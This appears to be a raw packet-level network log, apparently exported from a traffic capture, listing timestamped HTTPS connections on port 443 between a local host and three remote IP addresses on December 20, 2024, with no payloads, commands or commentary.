Dec 20, 2024 01:21:36.459106922 CET	49817	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:21:36.460321903 CET	49817	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:21:36.460344076 CET	443	49817	142.250.181.132	192.168.2.4
Dec 20, 2024 01:21:36.466758966 CET	443	49819	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:36.476448059 CET	49819	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:36.476464033 CET	443	49819	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:36.477000952 CET	443	49819	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:36.477068901 CET	49819	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:36.478009939 CET	443	49819	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:36.478068113 CET	49819	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:36.478224039 CET	49819	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:36.478301048 CET	443	49819	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:36.478399038 CET	49819	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:36.478406906 CET	443	49819	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:36.528878927 CET	49819	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:37.039366007 CET	49823	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:37.039441109 CET	443	49823	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:37.039525986 CET	49823	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:37.039941072 CET	49824	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:37.039994955 CET	443	49824	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:37.040054083 CET	49824	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:37.040174007 CET	49823	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:37.040211916 CET	443	49823	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:37.040416956 CET	49824	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:37.040436029 CET	443	49824	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:37.273665905 CET	443	49819	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:37.273715019 CET	443	49819	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:37.273766041 CET	49819	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:37.273782969 CET	443	49819	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:37.274657011 CET	49819	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:37.274698973 CET	443	49819	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:37.274750948 CET	49819	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:37.275423050 CET	49825	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:37.275494099 CET	443	49825	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:37.275573015 CET	49825	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:37.275918007 CET	49825	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:37.275948048 CET	443	49825	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:38.498059034 CET	443	49824	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:38.498357058 CET	443	49823	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:38.501527071 CET	49823	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:38.501569986 CET	443	49823	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:38.503026009 CET	443	49823	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:38.503107071 CET	49823	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:38.532546997 CET	49823	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:38.532778978 CET	49824	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:38.532804012 CET	443	49824	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:38.532804966 CET	443	49823	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:38.533540964 CET	49823	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:38.533567905 CET	443	49823	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:38.536731005 CET	443	49824	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:38.536814928 CET	49824	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:38.548507929 CET	49824	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:38.548604965 CET	443	49824	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:38.581571102 CET	49823	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:38.597209930 CET	49824	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:38.597230911 CET	443	49824	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:38.643153906 CET	49824	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:38.973498106 CET	443	49825	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:38.981978893 CET	49825	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:38.982011080 CET	443	49825	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:38.982386112 CET	443	49825	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:38.982443094 CET	49825	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:38.983061075 CET	443	49825	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:38.983112097 CET	49825	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:38.983525991 CET	49825	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:38.983584881 CET	443	49825	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:38.983669996 CET	49825	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:38.983676910 CET	443	49825	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:39.033358097 CET	49825	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:39.047221899 CET	443	49823	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:39.047303915 CET	443	49823	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:39.047349930 CET	49823	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:39.053602934 CET	49823	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:39.053637981 CET	443	49823	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:39.056328058 CET	49824	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:39.099354982 CET	443	49824	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:39.490494967 CET	443	49824	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:39.536915064 CET	49824	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:39.613522053 CET	443	49824	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:39.613531113 CET	443	49824	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:39.613565922 CET	443	49824	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:39.613583088 CET	443	49824	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:39.613609076 CET	443	49824	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:39.613621950 CET	49824	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:39.613632917 CET	443	49824	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:39.613643885 CET	49824	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:39.613655090 CET	49824	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:39.613679886 CET	49824	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:39.722986937 CET	443	49824	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:39.722996950 CET	443	49824	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:39.723033905 CET	443	49824	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:39.723076105 CET	443	49824	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:39.723095894 CET	49824	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:39.723104954 CET	443	49824	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:39.723143101 CET	49824	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:39.723164082 CET	49824	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:39.779658079 CET	443	49825	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:39.779711962 CET	443	49825	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:39.779752016 CET	49825	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:39.779778004 CET	443	49825	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:39.782001019 CET	49825	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:39.782057047 CET	443	49825	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:39.782107115 CET	49825	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:39.783126116 CET	49828	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:39.783159971 CET	443	49828	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:39.783211946 CET	49828	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:39.783433914 CET	49828	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:39.783444881 CET	443	49828	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:39.806982994 CET	443	49824	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:39.807033062 CET	443	49824	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:39.807065010 CET	49824	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:39.807096004 CET	443	49824	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:39.807110071 CET	49824	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:39.807137966 CET	49824	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:39.895258904 CET	443	49824	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:39.895306110 CET	443	49824	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:39.895334959 CET	49824	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:39.895359039 CET	443	49824	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:39.895382881 CET	49824	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:39.895395994 CET	49824	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:39.926212072 CET	443	49824	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:39.926260948 CET	443	49824	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:39.926289082 CET	49824	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:39.926311970 CET	443	49824	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:39.926331043 CET	49824	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:39.926352978 CET	49824	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:39.948070049 CET	443	49824	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:39.948117018 CET	443	49824	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:39.948160887 CET	49824	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:39.948178053 CET	443	49824	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:39.948210955 CET	49824	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:39.948250055 CET	49824	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:40.004240036 CET	443	49824	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:40.004287958 CET	443	49824	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:40.004327059 CET	49824	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:40.004343987 CET	443	49824	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:40.004370928 CET	49824	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:40.004426956 CET	49824	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:40.081510067 CET	443	49824	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:40.081556082 CET	443	49824	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:40.081589937 CET	49824	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:40.081612110 CET	443	49824	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:40.081629992 CET	49824	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:40.081656933 CET	49824	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:40.094511986 CET	443	49824	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:40.094552994 CET	443	49824	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:40.094599962 CET	49824	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:40.094618082 CET	443	49824	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:40.094646931 CET	49824	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:40.094662905 CET	49824	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:40.105926037 CET	443	49824	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:40.105983973 CET	443	49824	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:40.106018066 CET	49824	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:40.106033087 CET	443	49824	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:40.106060028 CET	49824	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:40.106158972 CET	443	49824	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:40.106209040 CET	49824	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:40.106518984 CET	49824	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:40.106549978 CET	443	49824	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:40.153616905 CET	49829	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:40.153650999 CET	443	49829	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:40.153709888 CET	49829	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:40.154236078 CET	49829	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:40.154246092 CET	443	49829	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:40.543287992 CET	49831	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:40.543332100 CET	443	49831	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:40.543540955 CET	49831	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:40.543813944 CET	49831	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:40.543828964 CET	443	49831	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:41.478888035 CET	443	49828	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:41.479238033 CET	49828	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:41.479269028 CET	443	49828	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:41.479779005 CET	443	49828	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:41.479841948 CET	49828	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:41.480772972 CET	443	49828	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:41.480829000 CET	49828	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:41.481081963 CET	49828	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:41.481162071 CET	443	49828	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:41.481266022 CET	49828	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:41.481273890 CET	443	49828	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:41.523766041 CET	49828	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:41.610184908 CET	443	49829	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:41.610513926 CET	49829	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:41.610523939 CET	443	49829	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:41.611654997 CET	443	49829	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:41.612003088 CET	49829	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:41.612169027 CET	443	49829	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:41.613200903 CET	49829	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:41.655330896 CET	443	49829	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:42.165209055 CET	443	49829	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:42.187851906 CET	443	49831	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:42.188111067 CET	49831	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:42.188121080 CET	443	49831	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:42.188473940 CET	443	49831	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:42.189291954 CET	49831	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:42.189358950 CET	443	49831	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:42.189450979 CET	49831	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:42.209769964 CET	49829	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:42.209778070 CET	443	49829	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:42.235327959 CET	443	49831	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:42.256083965 CET	49829	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:42.284260035 CET	443	49828	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:42.284312010 CET	443	49828	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:42.284375906 CET	49828	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:42.284395933 CET	443	49828	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:42.285366058 CET	49828	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:42.285412073 CET	443	49828	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:42.285481930 CET	49828	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:42.286156893 CET	49832	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:42.286221981 CET	443	49832	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:42.286293030 CET	49832	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:42.286533117 CET	49832	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:42.286565065 CET	443	49832	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:42.357549906 CET	443	49829	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:42.357567072 CET	443	49829	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:42.357604027 CET	443	49829	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:42.357618093 CET	49829	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:42.357630968 CET	443	49829	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:42.357642889 CET	443	49829	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:42.357654095 CET	49829	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:42.357660055 CET	443	49829	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:42.357671022 CET	443	49829	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:42.357682943 CET	49829	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:42.357712030 CET	49829	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:42.403450966 CET	443	49829	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:42.403477907 CET	443	49829	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:42.403526068 CET	49829	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:42.403532982 CET	443	49829	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:42.403584003 CET	49829	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:42.481215000 CET	443	49829	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:42.481271029 CET	443	49829	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:42.481319904 CET	49829	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:42.481327057 CET	443	49829	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:42.481378078 CET	49829	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:42.481378078 CET	49829	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:42.556313992 CET	443	49829	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:42.556413889 CET	49829	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:42.556421041 CET	443	49829	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:42.556632996 CET	443	49829	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:42.556724072 CET	49829	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:42.556848049 CET	49829	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:42.556854010 CET	443	49829	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:42.699132919 CET	49833	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:42.699188948 CET	443	49833	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:42.699245930 CET	49833	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:42.699508905 CET	49833	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:42.699528933 CET	443	49833	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:43.468925953 CET	443	49831	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:43.469017029 CET	443	49831	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:43.469103098 CET	49831	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:43.475986958 CET	49831	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:43.475999117 CET	443	49831	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:43.750519991 CET	49834	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:43.750543118 CET	443	49834	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:43.750679970 CET	49835	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:43.750716925 CET	49834	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:43.750757933 CET	443	49835	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:43.750818014 CET	49835	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:43.751163960 CET	49834	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:43.751177073 CET	443	49834	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:43.751487017 CET	49835	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:43.751507998 CET	443	49835	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:43.767570972 CET	49836	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:43.767651081 CET	443	49836	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:43.767770052 CET	49836	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:43.767956972 CET	49836	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:43.767982960 CET	443	49836	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:43.998579979 CET	443	49832	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:43.998857975 CET	49832	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:43.998925924 CET	443	49832	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:43.999470949 CET	443	49832	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:43.999561071 CET	49832	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:44.000473976 CET	443	49832	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:44.000540018 CET	49832	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:44.000736952 CET	49832	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:44.000823975 CET	443	49832	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:44.000977039 CET	49832	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:44.000994921 CET	443	49832	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:44.048393011 CET	49832	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:44.155570030 CET	443	49833	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:44.155884027 CET	49833	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:44.155910015 CET	443	49833	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:44.159140110 CET	443	49833	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:44.159204960 CET	49833	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:44.163158894 CET	49833	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:44.163247108 CET	443	49833	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:44.163353920 CET	49833	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:44.163363934 CET	443	49833	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:44.205173016 CET	49833	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:44.872922897 CET	443	49832	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:44.872977018 CET	443	49832	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:44.873035908 CET	49832	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:44.873076916 CET	443	49832	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:44.874701977 CET	49832	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:44.874769926 CET	443	49832	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:44.874839067 CET	49832	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:45.015594959 CET	443	49833	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:45.015695095 CET	443	49833	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:45.015758038 CET	49833	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:45.017513990 CET	49833	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:45.017534971 CET	443	49833	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:45.017554998 CET	49833	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:45.017580032 CET	49833	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:45.019267082 CET	49837	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:45.019387960 CET	443	49837	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:45.019486904 CET	49837	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:45.020946026 CET	49837	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:45.020991087 CET	443	49837	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:45.205838919 CET	443	49835	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:45.205981970 CET	443	49834	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:45.208864927 CET	49834	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:45.208885908 CET	443	49834	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:45.209254026 CET	443	49834	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:45.209414005 CET	49835	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:45.209435940 CET	443	49835	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:45.210011959 CET	443	49835	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:45.210038900 CET	49834	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:45.210107088 CET	443	49834	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:45.210577011 CET	49835	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:45.210664988 CET	443	49835	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:45.211127996 CET	49834	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:45.226248980 CET	443	49836	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:45.226702929 CET	49836	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:45.226737022 CET	443	49836	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:45.230314016 CET	443	49836	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:45.230392933 CET	49836	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:45.230854988 CET	49836	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:45.230926037 CET	443	49836	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:45.231029987 CET	49836	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:45.231035948 CET	443	49836	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:45.251333952 CET	443	49834	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:45.253284931 CET	49835	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:45.285350084 CET	49836	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:45.316099882 CET	443	49816	142.250.181.132	192.168.2.4
Dec 20, 2024 01:21:45.316169024 CET	443	49816	142.250.181.132	192.168.2.4
Dec 20, 2024 01:21:45.316236973 CET	49816	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:21:46.116353989 CET	443	49834	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:46.116441011 CET	443	49834	188.119.66.154	192.168.2.4
Dec 20, 2024 01:21:46.116579056 CET	49834	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:21:46.118448973 CET	443	49836	188.119.66.154	192.168.2.4
